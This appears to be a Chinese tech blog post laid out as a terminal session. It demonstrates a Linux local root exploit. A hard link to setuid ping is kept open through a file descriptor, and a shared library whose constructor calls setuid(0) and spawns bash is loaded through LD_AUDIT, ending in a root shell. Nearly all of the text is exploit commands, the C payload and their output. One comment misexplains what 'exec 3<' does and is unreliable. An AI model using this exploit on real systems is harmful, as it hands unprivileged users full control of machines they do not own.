[root@ns ~]# whoami ##我是谁
root
[root@ns ~]# useradd putong
[root@ns ~]# su - putong
[putong@ns ~]$ whoami
putong
[putong@ns ~]$ ll -d /tmp/
drwxrwxrwt. 3 root root 4096 12月 2 03:11 /tmp/
[putong@ns ~]$ cd /tmp/
[putong@ns tmp]$ mkdir ceshi
[putong@ns tmp]$ ln /bin/ping /tmp/ceshi/ceshi ##创建一个硬链接
[putong@ns tmp]$ ll !$
ll /tmp/ceshi/ceshi
-rwsr-xr-x. 2 root root 40760 9月 26 2013 /tmp/ceshi/ceshi
[putong@ns tmp]$ exec 3< /tmp/ceshi/ceshi ##系统调用exec是以新的进程去代替原来的进程,但进程的PID保持不变。因此,可以这样认为,exec系统调用并没有创建新的
进程,只是替换了原来进程上下文的内容。原进程的代码段,数据段,堆栈段被新的进程所代替。
[putong@ns tmp]$ ll /proc/$$/fd/3
lr-x------ 1 putong putong 64 12月 2 03:19 /proc/1346/fd/3 -> /tmp/ceshi/ceshi
[putong@ns tmp]$ rm -rf /tmp/ceshi/
[putong@ns tmp]$ ll /proc/1346/fd/3
lr-x------ 1 putong putong 64 12月 2 03:19 /proc/1346/fd/3 -> /tmp/ceshi/ceshi (deleted)
[putong@ns tmp]$ vim root.c ##创建一个c语言脚本
void __attribute__((constructor)) init() ##注意;__这是两个_下划线
{
setuid(0);
system("/bin/bash");
}
:wq
[putong@ns tmp]$ gcc -w -fPIC -shared -o /tmp/ceshi root.c ## -o 输出
[putong@ns tmp]$ ll /tmp/ceshi
-rwxrwxr-x 1 putong putong 6017 12月 2 03:25 /tmp/ceshi
[putong@ns tmp]$ LD_AUDIT="ORIGIN" exec /proc/self/fd/3
ERROR: ld.so: object ‘ORIGIN‘ cannot be loaded as audit interface: cannot open shared object file; ignored.
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
[-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
[-M mtu discovery hint] [-S sndbuf]
[ -T timestamp option ] [ -Q tos ] [hop1 ...] destination
[root@ns ~]#
[root@ns ~]# whoami
root
本文出自 “11628205” 博客,请务必保留此出处http://11638205.blog.51cto.com/11628205/1878828
原文地址:http://11638205.blog.51cto.com/11628205/1878828